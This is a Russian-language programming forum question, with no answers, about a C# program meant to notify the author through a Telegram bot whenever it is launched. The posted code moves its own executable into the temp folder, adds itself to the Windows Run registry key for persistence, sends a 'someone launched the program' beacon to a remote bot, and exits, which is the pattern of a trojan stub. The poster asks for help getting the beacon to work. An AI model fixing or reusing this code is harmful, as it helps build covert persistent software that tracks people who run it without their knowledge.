Как привязать телеграм бота к программе на C#?

Есть программа. Нужно, чтобы при запуске мне приходило оповещение в телеграм бот. Бота написал на питоне, запустил его на сервере. При запуске программы сообщения не приходят. Подскажите, пожалуйста, что я делаю неправильно. Заранее благодарю!

using System;
using System.Diagnostics;
using System.IO;
using System.Threading.Tasks;
using Microsoft.Win32;
using Telegram.Bot;

class Program
{

    static async Task SendTelegramMessage(string message)
    {
        string botToken = "token";
        long chatId = id;

        TelegramBotClient botClient = new TelegramBotClient(botToken);
        await botClient.SendTextMessageAsync(chatId, message);
    }

    static async Task Main()
    {
        string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
        string exePath = Process.GetCurrentProcess().MainModule.FileName;

        string tempPath = Path.Combine(Path.GetTempPath(), "myprogram.exe");
        File.Move(exePath, tempPath);

        await SendTelegramMessage("Кто-то запустил программу");

        AddToStartup(tempPath);

        Environment.Exit(0);
    }

    static void AddToStartup(string programPath)
    {
        using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
        {
            key.SetValue("MyProgram", programPath);
        }
    }
}

Ответы (0 шт):